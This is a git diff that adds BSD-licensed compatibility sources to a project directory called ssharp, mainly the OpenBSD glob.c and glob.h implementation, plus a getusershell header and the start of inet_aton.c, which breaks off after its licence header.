1.1.1.1 2001/09/19 14:44:59 stealth Exp $ */ + +#ifndef _GETUSERSHELL_H +#define _GETUSERSHELL_H + +#include "config.h" + +#ifndef HAVE_GETUSERSHELL + +char *getusershell(void); +void setusershell(void); +void endusershell(void); + +#endif /* HAVE_GETUSERSHELL */ + +#endif /* _GETUSERSHELL_H */ diff --git a/other/ssharp/openbsd-compat/glob.c b/other/ssharp/openbsd-compat/glob.c new file mode 100644 index 0000000..4f70149 --- /dev/null +++ b/other/ssharp/openbsd-compat/glob.c @@ -0,0 +1,915 @@ +/* + * Copyright (c) 1989, 1993 + * The Regents of the University of California. All rights reserved. + * + * This code is derived from software contributed to Berkeley by + * Guido van Rossum. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by the University of + * California, Berkeley and its contributors. + * 4. Neither the name of the University nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + */ + +#include "includes.h" +#include + +long +get_arg_max() +{ +#ifdef ARG_MAX + return(ARG_MAX); +#elif defined(HAVE_SYSCONF) && defined(_SC_ARG_MAX) + return(sysconf(_SC_ARG_MAX)); +#else + return(256); /* XXX: arbitrary */ +#endif +} + +#if !defined(HAVE_GLOB) || !defined(GLOB_HAS_ALTDIRFUNC) || \ + !defined(GLOB_HAS_GL_MATCHC) + +#if defined(LIBC_SCCS) && !defined(lint) +#if 0 +static char sccsid[] = "@(#)glob.c 8.3 (Berkeley) 10/13/93"; +#else +static char rcsid[] = "$OpenBSD: glob.c,v 1.16 2001/04/05 18:36:12 deraadt Exp $"; +#endif +#endif /* LIBC_SCCS and not lint */ + +/* + * glob(3) -- a superset of the one defined in POSIX 1003.2. + * + * The [!...] convention to negate a range is supported (SysV, Posix, ksh). + * + * Optional extra services, controlled by flags not defined by POSIX: + * + * GLOB_QUOTE: + * Escaping convention: \ inhibits any special meaning the following + * character might have (except \ at end of string is retained). + * GLOB_MAGCHAR: + * Set in gl_flags if pattern contained a globbing character. + * GLOB_NOMAGIC: + * Same as GLOB_NOCHECK, but it will only append pattern if it did + * not contain any magic characters. [Used in csh style globbing] + * GLOB_ALTDIRFUNC: + * Use alternately specified directory access functions. + * GLOB_TILDE: + * expand ~user/foo to the /home/dir/of/user/foo + * GLOB_BRACE: + * expand {1,2}{a,b} to 1a 1b 2a 2b + * gl_matchc: + * Number of matches in the current invocation of glob. + */ + + +#define DOLLAR '$' +#define DOT '.' +#define EOS '\0' +#define LBRACKET '[' +#define NOT '!' +#define QUESTION '?' +#define QUOTE '\\' +#define RANGE '-' +#define RBRACKET ']' +#define SEP '/' +#define STAR '*' +#define TILDE '~' +#define UNDERSCORE '_' +#define LBRACE '{' +#define RBRACE '}' +#define SLASH '/' +#define COMMA ',' + +#ifndef DEBUG + +#define M_QUOTE 0x8000 +#define M_PROTECT 0x4000 +#define M_MASK 0xffff +#define M_ASCII 0x00ff + +typedef u_short Char; + +#else + +#define M_QUOTE 0x80 +#define M_PROTECT 0x40 +#define M_MASK 0xff +#define M_ASCII 0x7f + +typedef char Char; + +#endif + + +#define CHAR(c) ((Char)((c)&M_ASCII)) +#define META(c) ((Char)((c)|M_QUOTE)) +#define M_ALL META('*') +#define M_END META(']') +#define M_NOT META('!') +#define M_ONE META('?') +#define M_RNG META('-') +#define M_SET META('[') +#define ismeta(c) (((c)&M_QUOTE) != 0) + + +static int compare __P((const void *, const void *)); +static int g_Ctoc __P((const Char *, char *, u_int)); +static int g_lstat __P((Char *, struct stat *, glob_t *)); +static DIR *g_opendir __P((Char *, glob_t *)); +static Char *g_strchr __P((Char *, int)); +static int g_stat __P((Char *, struct stat *, glob_t *)); +static int glob0 __P((const Char *, glob_t *)); +static int glob1 __P((Char *, Char *, glob_t *, size_t *)); +static int glob2 __P((Char *, Char *, Char *, Char *, Char *, Char *, + glob_t *, size_t *)); +static int glob3 __P((Char *, Char *, Char *, Char *, Char *, Char *, + Char *, Char *, glob_t *, size_t *)); +static int globextend __P((const Char *, glob_t *, size_t *)); +static const Char * + globtilde __P((const Char *, Char *, size_t, glob_t *)); +static int globexp1 __P((const Char *, glob_t *)); +static int globexp2 __P((const Char *, const Char *, glob_t *, int *)); +static int match __P((Char *, Char *, Char *)); +#ifdef DEBUG +static void qprintf __P((const char *, Char *)); +#endif + +int +glob(pattern, flags, errfunc, pglob) + const char *pattern; + int flags, (*errfunc) __P((const char *, int)); + glob_t *pglob; +{ + const u_char *patnext; + int c; + Char *bufnext, *bufend, patbuf[MAXPATHLEN]; + + patnext = (u_char *) pattern; + if (!(flags & GLOB_APPEND)) { + pglob->gl_pathc = 0; + pglob->gl_pathv = NULL; + if (!(flags & GLOB_DOOFFS)) + pglob->gl_offs = 0; + } + pglob->gl_flags = flags & ~GLOB_MAGCHAR; + pglob->gl_errfunc = errfunc; + pglob->gl_matchc = 0; + + bufnext = patbuf; + bufend = bufnext + MAXPATHLEN - 1; + if (flags & GLOB_NOESCAPE) + while (bufnext < bufend && (c = *patnext++) != EOS) + *bufnext++ = c; + else { + /* Protect the quoted characters. */ + while (bufnext < bufend && (c = *patnext++) != EOS) + if (c == QUOTE) { + if ((c = *patnext++) == EOS) { + c = QUOTE; + --patnext; + } + *bufnext++ = c | M_PROTECT; + } else + *bufnext++ = c; + } + *bufnext = EOS; + + if (flags & GLOB_BRACE) + return globexp1(patbuf, pglob); + else + return glob0(patbuf, pglob); +} + +/* + * Expand recursively a glob {} pattern. When there is no more expansion + * invoke the standard globbing routine to glob the rest of the magic + * characters + */ +static int +globexp1(pattern, pglob) + const Char *pattern; + glob_t *pglob; +{ + const Char* ptr = pattern; + int rv; + + /* Protect a single {}, for find(1), like csh */ + if (pattern[0] == LBRACE && pattern[1] == RBRACE && pattern[2] == EOS) + return glob0(pattern, pglob); + + while ((ptr = (const Char *) g_strchr((Char *) ptr, LBRACE)) != NULL) + if (!globexp2(ptr, pattern, pglob, &rv)) + return rv; + + return glob0(pattern, pglob); +} + + +/* + * Recursive brace globbing helper. Tries to expand a single brace. + * If it succeeds then it invokes globexp1 with the new pattern. + * If it fails then it tries to glob the rest of the pattern and returns. + */ +static int +globexp2(ptr, pattern, pglob, rv) + const Char *ptr, *pattern; + glob_t *pglob; + int *rv; +{ + int i; + Char *lm, *ls; + const Char *pe, *pm, *pl; + Char patbuf[MAXPATHLEN]; + + /* copy part up to the brace */ + for (lm = patbuf, pm = pattern; pm != ptr; *lm++ = *pm++) + ; + *lm = EOS; + ls = lm; + + /* Find the balanced brace */ + for (i = 0, pe = ++ptr; *pe; pe++) + if (*pe == LBRACKET) { + /* Ignore everything between [] */ + for (pm = pe++; *pe != RBRACKET && *pe != EOS; pe++) + ; + if (*pe == EOS) { + /* + * We could not find a matching RBRACKET. + * Ignore and just look for RBRACE + */ + pe = pm; + } + } else if (*pe == LBRACE) + i++; + else if (*pe == RBRACE) { + if (i == 0) + break; + i--; + } + + /* Non matching braces; just glob the pattern */ + if (i != 0 || *pe == EOS) { + *rv = glob0(patbuf, pglob); + return 0; + } + + for (i = 0, pl = pm = ptr; pm <= pe; pm++) { + switch (*pm) { + case LBRACKET: + /* Ignore everything between [] */ + for (pl = pm++; *pm != RBRACKET && *pm != EOS; pm++) + ; + if (*pm == EOS) { + /* + * We could not find a matching RBRACKET. + * Ignore and just look for RBRACE + */ + pm = pl; + } + break; + + case LBRACE: + i++; + break; + + case RBRACE: + if (i) { + i--; + break; + } + /* FALLTHROUGH */ + case COMMA: + if (i && *pm == COMMA) + break; + else { + /* Append the current string */ + for (lm = ls; (pl < pm); *lm++ = *pl++) + ; + + /* + * Append the rest of the pattern after the + * closing brace + */ + for (pl = pe + 1; (*lm++ = *pl++) != EOS; ) + ; + + /* Expand the current pattern */ +#ifdef DEBUG + qprintf("globexp2:", patbuf); +#endif + *rv = globexp1(patbuf, pglob); + + /* move after the comma, to the next string */ + pl = pm + 1; + } + break; + + default: + break; + } + } + *rv = 0; + return 0; +} + + + +/* + * expand tilde from the passwd file. + */ +static const Char * +globtilde(pattern, patbuf, patbuf_len, pglob) + const Char *pattern; + Char *patbuf; + size_t patbuf_len; + glob_t *pglob; +{ + struct passwd *pwd; + char *h; + const Char *p; + Char *b, *eb; + + if (*pattern != TILDE || !(pglob->gl_flags & GLOB_TILDE)) + return pattern; + + /* Copy up to the end of the string or / */ + eb = &patbuf[patbuf_len - 1]; + for (p = pattern + 1, h = (char *) patbuf; + h < (char *)eb && *p && *p != SLASH; *h++ = *p++) + ; + + *h = EOS; + +#if 0 + if (h == (char *)eb) + return what; +#endif + + if (((char *) patbuf)[0] == EOS) { + /* + * handle a plain ~ or ~/ by expanding $HOME + * first and then trying the password file + */ +#if 0 + if (issetugid() != 0 || (h = getenv("HOME")) == NULL) { +#endif + if ((getuid() != geteuid()) || (h = getenv("HOME")) == NULL) { + if ((pwd = getpwuid(getuid())) == NULL) + return pattern; + else + h = pwd->pw_dir; + } + } else { + /* + * Expand a ~user + */ + if ((pwd = getpwnam((char*) patbuf)) == NULL) + return pattern; + else + h = pwd->pw_dir; + } + + /* Copy the home directory */ + for (b = patbuf; b < eb && *h; *b++ = *h++) + ; + + /* Append the rest of the pattern */ + while (b < eb && (*b++ = *p++) != EOS) + ; + *b = EOS; + + return patbuf; +} + + +/* + * The main glob() routine: compiles the pattern (optionally processing + * quotes), calls glob1() to do the real pattern matching, and finally + * sorts the list (unless unsorted operation is requested). Returns 0 + * if things went well, nonzero if errors occurred. It is not an error + * to find no matches. + */ +static int +glob0(pattern, pglob) + const Char *pattern; + glob_t *pglob; +{ + const Char *qpatnext; + int c, err, oldpathc; + Char *bufnext, patbuf[MAXPATHLEN]; + size_t limit = 0; + + qpatnext = globtilde(pattern, patbuf, MAXPATHLEN, pglob); + oldpathc = pglob->gl_pathc; + bufnext = patbuf; + + /* We don't need to check for buffer overflow any more. */ + while ((c = *qpatnext++) != EOS) { + switch (c) { + case LBRACKET: + c = *qpatnext; + if (c == NOT) + ++qpatnext; + if (*qpatnext == EOS || + g_strchr((Char *) qpatnext+1, RBRACKET) == NULL) { + *bufnext++ = LBRACKET; + if (c == NOT) + --qpatnext; + break; + } + *bufnext++ = M_SET; + if (c == NOT) + *bufnext++ = M_NOT; + c = *qpatnext++; + do { + *bufnext++ = CHAR(c); + if (*qpatnext == RANGE && + (c = qpatnext[1]) != RBRACKET) { + *bufnext++ = M_RNG; + *bufnext++ = CHAR(c); + qpatnext += 2; + } + } while ((c = *qpatnext++) != RBRACKET); + pglob->gl_flags |= GLOB_MAGCHAR; + *bufnext++ = M_END; + break; + case QUESTION: + pglob->gl_flags |= GLOB_MAGCHAR; + *bufnext++ = M_ONE; + break; + case STAR: + pglob->gl_flags |= GLOB_MAGCHAR; + /* collapse adjacent stars to one, + * to avoid exponential behavior + */ + if (bufnext == patbuf || bufnext[-1] != M_ALL) + *bufnext++ = M_ALL; + break; + default: + *bufnext++ = CHAR(c); + break; + } + } + *bufnext = EOS; +#ifdef DEBUG + qprintf("glob0:", patbuf); +#endif + + if ((err = glob1(patbuf, patbuf+MAXPATHLEN-1, pglob, &limit)) != 0) + return(err); + + /* + * If there was no match we are going to append the pattern + * if GLOB_NOCHECK was specified or if GLOB_NOMAGIC was specified + * and the pattern did not contain any magic characters + * GLOB_NOMAGIC is there just for compatibility with csh. + */ + if (pglob->gl_pathc == oldpathc) { + if ((pglob->gl_flags & GLOB_NOCHECK) || + ((pglob->gl_flags & GLOB_NOMAGIC) && + !(pglob->gl_flags & GLOB_MAGCHAR))) + return(globextend(pattern, pglob, &limit)); + else + return(GLOB_NOMATCH); + } + if (!(pglob->gl_flags & GLOB_NOSORT)) + qsort(pglob->gl_pathv + pglob->gl_offs + oldpathc, + pglob->gl_pathc - oldpathc, sizeof(char *), compare); + return(0); +} + +static int +compare(p, q) + const void *p, *q; +{ + return(strcmp(*(char **)p, *(char **)q)); +} + +static int +glob1(pattern, pattern_last, pglob, limitp) + Char *pattern, *pattern_last; + glob_t *pglob; + size_t *limitp; +{ + Char pathbuf[MAXPATHLEN]; + + /* A null pathname is invalid -- POSIX 1003.1 sect. 2.4. */ + if (*pattern == EOS) + return(0); + return(glob2(pathbuf, pathbuf+MAXPATHLEN-1, + pathbuf, pathbuf+MAXPATHLEN-1, + pattern, pattern_last, pglob, limitp)); +} + +/* + * The functions glob2 and glob3 are mutually recursive; there is one level + * of recursion for each segment in the pattern that contains one or more + * meta characters. + */ +static int +glob2(pathbuf, pathbuf_last, pathend, pathend_last, pattern, + pattern_last, pglob, limitp) + Char *pathbuf, *pathbuf_last, *pathend, *pathend_last; + Char *pattern, *pattern_last; + glob_t *pglob; + size_t *limitp; +{ + struct stat sb; + Char *p, *q; + int anymeta; + + /* + * Loop over pattern segments until end of pattern or until + * segment with meta character found. + */ + for (anymeta = 0;;) { + if (*pattern == EOS) { /* End of pattern? */ + *pathend = EOS; + if (g_lstat(pathbuf, &sb, pglob)) + return(0); + + if (((pglob->gl_flags & GLOB_MARK) && + pathend[-1] != SEP) && (S_ISDIR(sb.st_mode) || + (S_ISLNK(sb.st_mode) && + (g_stat(pathbuf, &sb, pglob) == 0) && + S_ISDIR(sb.st_mode)))) { + if (pathend+1 > pathend_last) + return (1); + *pathend++ = SEP; + *pathend = EOS; + } + ++pglob->gl_matchc; + return(globextend(pathbuf, pglob, limitp)); + } + + /* Find end of next segment, copy tentatively to pathend. */ + q = pathend; + p = pattern; + while (*p != EOS && *p != SEP) { + if (ismeta(*p)) + anymeta = 1; + if (q+1 > pathend_last) + return (1); + *q++ = *p++; + } + + if (!anymeta) { /* No expansion, do next segment. */ + pathend = q; + pattern = p; + while (*pattern == SEP) { + if (pathend+1 > pathend_last) + return (1); + *pathend++ = *pattern++; + } + } else + /* Need expansion, recurse. */ + return(glob3(pathbuf, pathbuf_last, pathend, + pathend_last, pattern, pattern_last, + p, pattern_last, pglob, limitp)); + } + /* NOTREACHED */ +} + +static int +glob3(pathbuf, pathbuf_last, pathend, pathend_last, pattern, pattern_last, + restpattern, restpattern_last, pglob, limitp) + Char *pathbuf, *pathbuf_last, *pathend, *pathend_last; + Char *pattern, *pattern_last, *restpattern, *restpattern_last; + glob_t *pglob; + size_t *limitp; +{ + register struct dirent *dp; + DIR *dirp; + int err; + char buf[MAXPATHLEN]; + + /* + * The readdirfunc declaration can't be prototyped, because it is + * assigned, below, to two functions which are prototyped in glob.h + * and dirent.h as taking pointers to differently typed opaque + * structures. + */ + struct dirent *(*readdirfunc)(); + + if (pathend > pathend_last) + return (1); + *pathend = EOS; + errno = 0; + + if ((dirp = g_opendir(pathbuf, pglob)) == NULL) { + /* TODO: don't call for ENOENT or ENOTDIR? */ + if (pglob->gl_errfunc) { + if (g_Ctoc(pathbuf, buf, sizeof(buf))) + return(GLOB_ABORTED); + if (pglob->gl_errfunc(buf, errno) || + pglob->gl_flags & GLOB_ERR) + return(GLOB_ABORTED); + } + return(0); + } + + err = 0; + + /* Search directory for matching names. */ + if (pglob->gl_flags & GLOB_ALTDIRFUNC) + readdirfunc = pglob->gl_readdir; + else + readdirfunc = readdir; + while ((dp = (*readdirfunc)(dirp))) { + register u_char *sc; + register Char *dc; + + /* Initial DOT must be matched literally. */ + if (dp->d_name[0] == DOT && *pattern != DOT) + continue; + dc = pathend; + sc = (u_char *) dp->d_name; + while (dc < pathend_last && (*dc++ = *sc++) != EOS) + ; + if (dc >= pathend_last) { + *dc = EOS; + err = 1; + break; + } + + if (!match(pathend, pattern, restpattern)) { + *pathend = EOS; + continue; + } + err = glob2(pathbuf, pathbuf_last, --dc, pathend_last, + restpattern, restpattern_last, pglob, limitp); + if (err) + break; + } + + if (pglob->gl_flags & GLOB_ALTDIRFUNC) + (*pglob->gl_closedir)(dirp); + else + closedir(dirp); + return(err); +} + + +/* + * Extend the gl_pathv member of a glob_t structure to accomodate a new item, + * add the new item, and update gl_pathc. + * + * This assumes the BSD realloc, which only copies the block when its size + * crosses a power-of-two boundary; for v7 realloc, this would cause quadratic + * behavior. + * + * Return 0 if new item added, error code if memory couldn't be allocated. + * + * Invariant of the glob_t structure: + * Either gl_pathc is zero and gl_pathv is NULL; or gl_pathc > 0 and + * gl_pathv points to (gl_offs + gl_pathc + 1) items. + */ +static int +globextend(path, pglob, limitp) + const Char *path; + glob_t *pglob; + size_t *limitp; +{ + register char **pathv; + register int i; + u_int newsize, len; + char *copy; + const Char *p; + + newsize = sizeof(*pathv) * (2 + pglob->gl_pathc + pglob->gl_offs); + pathv = pglob->gl_pathv ? realloc((char *)pglob->gl_pathv, newsize) : + malloc(newsize); + if (pathv == NULL) { + if (pglob->gl_pathv) { + free(pglob->gl_pathv); + pglob->gl_pathv = NULL; + } + return(GLOB_NOSPACE); + } + + if (pglob->gl_pathv == NULL && pglob->gl_offs > 0) { + /* first time around -- clear initial gl_offs items */ + pathv += pglob->gl_offs; + for (i = pglob->gl_offs; --i >= 0; ) + *--pathv = NULL; + } + pglob->gl_pathv = pathv; + + for (p = path; *p++;) + ; + len = (size_t)(p - path); + *limitp += len; + if ((copy = malloc(len)) != NULL) { + if (g_Ctoc(path, copy, len)) { + free(copy); + return(GLOB_NOSPACE); + } + pathv[pglob->gl_offs + pglob->gl_pathc++] = copy; + } + pathv[pglob->gl_offs + pglob->gl_pathc] = NULL; + + if ((pglob->gl_flags & GLOB_LIMIT) && + newsize + *limitp >= (u_int) get_arg_max()) { + errno = 0; + return(GLOB_NOSPACE); + } + + return(copy == NULL ? GLOB_NOSPACE : 0); +} + + +/* + * pattern matching function for filenames. Each occurrence of the * + * pattern causes a recursion level. + */ +static int +match(name, pat, patend) + register Char *name, *pat, *patend; +{ + int ok, negate_range; + Char c, k; + + while (pat < patend) { + c = *pat++; + switch (c & M_MASK) { + case M_ALL: + if (pat == patend) + return(1); + do + if (match(name, pat, patend)) + return(1); + while (*name++ != EOS) + ; + return(0); + case M_ONE: + if (*name++ == EOS) + return(0); + break; + case M_SET: + ok = 0; + if ((k = *name++) == EOS) + return(0); + if ((negate_range = ((*pat & M_MASK) == M_NOT)) != EOS) + ++pat; + while (((c = *pat++) & M_MASK) != M_END) + if ((*pat & M_MASK) == M_RNG) { + if (c <= k && k <= pat[1]) + ok = 1; + pat += 2; + } else if (c == k) + ok = 1; + if (ok == negate_range) + return(0); + break; + default: + if (*name++ != c) + return(0); + break; + } + } + return(*name == EOS); +} + +/* Free allocated data belonging to a glob_t structure. */ +void +globfree(pglob) + glob_t *pglob; +{ + register int i; + register char **pp; + + if (pglob->gl_pathv != NULL) { + pp = pglob->gl_pathv + pglob->gl_offs; + for (i = pglob->gl_pathc; i--; ++pp) + if (*pp) + free(*pp); + free(pglob->gl_pathv); + pglob->gl_pathv = NULL; + } +} + +static DIR * +g_opendir(str, pglob) + register Char *str; + glob_t *pglob; +{ + char buf[MAXPATHLEN]; + + if (!*str) + strcpy(buf, "."); + else { + if (g_Ctoc(str, buf, sizeof(buf))) + return(NULL); + } + + if (pglob->gl_flags & GLOB_ALTDIRFUNC) + return((*pglob->gl_opendir)(buf)); + + return(opendir(buf)); +} + +static int +g_lstat(fn, sb, pglob) + register Char *fn; + struct stat *sb; + glob_t *pglob; +{ + char buf[MAXPATHLEN]; + + if (g_Ctoc(fn, buf, sizeof(buf))) + return(-1); + if (pglob->gl_flags & GLOB_ALTDIRFUNC) + return((*pglob->gl_lstat)(buf, sb)); + return(lstat(buf, sb)); +} + +static int +g_stat(fn, sb, pglob) + register Char *fn; + struct stat *sb; + glob_t *pglob; +{ + char buf[MAXPATHLEN]; + + if (g_Ctoc(fn, buf, sizeof(buf))) + return(-1); + if (pglob->gl_flags & GLOB_ALTDIRFUNC) + return((*pglob->gl_stat)(buf, sb)); + return(stat(buf, sb)); +} + +static Char * +g_strchr(str, ch) + Char *str; + int ch; +{ + do { + if (*str == ch) + return (str); + } while (*str++); + return (NULL); +} + +static int +g_Ctoc(str, buf, len) + register const Char *str; + char *buf; + u_int len; +{ + + while (len--) { + if ((*buf++ = *str++) == EOS) + return (0); + } + return (1); +} + +#ifdef DEBUG +static void +qprintf(str, s) + const char *str; + register Char *s; +{ + register Char *p; + + (void)printf("%s:\n", str); + for (p = s; *p; p++) + (void)printf("%c", CHAR(*p)); + (void)printf("\n"); + for (p = s; *p; p++) + (void)printf("%c", *p & M_PROTECT ? '"' : ' '); + (void)printf("\n"); + for (p = s; *p; p++) + (void)printf("%c", ismeta(*p) ? '_' : ' '); + (void)printf("\n"); +} +#endif + +#endif /* !defined(HAVE_GLOB) || !defined(GLOB_HAS_ALTDIRFUNC) || + !defined(GLOB_HAS_GL_MATCHC) */ + diff --git a/other/ssharp/openbsd-compat/glob.h b/other/ssharp/openbsd-compat/glob.h new file mode 100644 index 0000000..b4c8f7a --- /dev/null +++ b/other/ssharp/openbsd-compat/glob.h @@ -0,0 +1,101 @@ +/* $OpenBSD: glob.h,v 1.5 2001/03/18 17:18:58 deraadt Exp $ */ +/* $NetBSD: glob.h,v 1.5 1994/10/26 00:55:56 cgd Exp $ */ + +/* + * Copyright (c) 1989, 1993 + * The Regents of the University of California. All rights reserved. + * + * This code is derived from software contributed to Berkeley by + * Guido van Rossum. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by the University of + * California, Berkeley and its contributors. + * 4. Neither the name of the University nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * @(#)glob.h 8.1 (Berkeley) 6/2/93 + */ + +#if !defined(HAVE_GLOB_H) || !defined(GLOB_HAS_ALTDIRFUNC) || \ + !defined(GLOB_HAS_GL_MATCHC) + +#ifndef _GLOB_H_ +#define _GLOB_H_ + +struct stat; +typedef struct { + int gl_pathc; /* Count of total paths so far. */ + int gl_matchc; /* Count of paths matching pattern. */ + int gl_offs; /* Reserved at beginning of gl_pathv. */ + int gl_flags; /* Copy of flags parameter to glob. */ + char **gl_pathv; /* List of paths matching pattern. */ + /* Copy of errfunc parameter to glob. */ + int (*gl_errfunc) __P((const char *, int)); + + /* + * Alternate filesystem access methods for glob; replacement + * versions of closedir(3), readdir(3), opendir(3), stat(2) + * and lstat(2). + */ + void (*gl_closedir) __P((void *)); + struct dirent *(*gl_readdir) __P((void *)); + void *(*gl_opendir) __P((const char *)); + int (*gl_lstat) __P((const char *, struct stat *)); + int (*gl_stat) __P((const char *, struct stat *)); +} glob_t; + +/* Flags */ +#define GLOB_APPEND 0x0001 /* Append to output from previous call. */ +#define GLOB_DOOFFS 0x0002 /* Use gl_offs. */ +#define GLOB_ERR 0x0004 /* Return on error. */ +#define GLOB_MARK 0x0008 /* Append / to matching directories. */ +#define GLOB_NOCHECK 0x0010 /* Return pattern itself if nothing matches. */ +#define GLOB_NOSORT 0x0020 /* Don't sort. */ + +#define GLOB_ALTDIRFUNC 0x0040 /* Use alternately specified directory funcs. */ +#define GLOB_BRACE 0x0080 /* Expand braces ala csh. */ +#define GLOB_MAGCHAR 0x0100 /* Pattern had globbing characters. */ +#define GLOB_NOMAGIC 0x0200 /* GLOB_NOCHECK without magic chars (csh). */ +#define GLOB_QUOTE 0x0400 /* Quote special chars with \. */ +#define GLOB_TILDE 0x0800 /* Expand tilde names from the passwd file. */ +#define GLOB_NOESCAPE 0x1000 /* Disable backslash escaping. */ +#define GLOB_LIMIT 0x2000 /* Limit pattern match output to ARG_MAX */ + +/* Error values returned by glob(3) */ +#define GLOB_NOSPACE (-1) /* Malloc call failed. */ +#define GLOB_ABORTED (-2) /* Unignored error. */ +#define GLOB_NOMATCH (-3) /* No match and GLOB_NOCHECK not set. */ +#define GLOB_NOSYS (-4) /* Function not supported. */ +#define GLOB_ABEND GLOB_ABORTED + +int glob __P((const char *, int, int (*)(const char *, int), glob_t *)); +void globfree __P((glob_t *)); + +#endif /* !_GLOB_H_ */ + +#endif /* !defined(HAVE_GLOB_H) || !defined(GLOB_HAS_ALTDIRFUNC) || + !defined(GLOB_HAS_GL_MATCHC */ + diff --git a/other/ssharp/openbsd-compat/inet_aton.c b/other/ssharp/openbsd-compat/inet_aton.c new file mode 100644 index 0000000..18e31e7 --- /dev/null +++ b/other/ssharp/openbsd-compat/inet_aton.c @@ -0,0 +1,193 @@ +/* $OpenBSD: inet_addr.c,v 1.6 1999/05/03 22:31:14 yanick Exp $ */ + +/* + * ++Copyright++ 1983, 1990, 1993 + * - + * Copyright (c) 1983, 1990, 1993 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by the University of + * California, Berkeley and its contributors. + * 4. Neither the name of the University nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * - + * Portions Copyright (c) 1993 by Digital Equipment Corporation. + * + * Permission to use, copy, modify, and distribute this software for any + * purpose with or without fee is hereby granted, provided that the above + * copyright notice and this permission notice appear in all copies, and that + * the name of Digital Equipment Corporation not be used in advertising or + * publicity pertaining to distribution of the document or software without + * specific, written prior permission. + * + * THE SOFTWARE IS PROVIDED "AS IS" AND DIGITAL EQUIPMENT CORP. DISCLAIMS ALL + * WARRANTIES WITH REGARD TO THIS SOFTWARE, INCLUDING ALL IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL DIGITAL EQUIPMENT + * CORPORATION BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL + * DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR + * PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS + * ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS + * SOFTWARE. + * - + * --Copyright-- + */ + +#include "config.h" + +#if 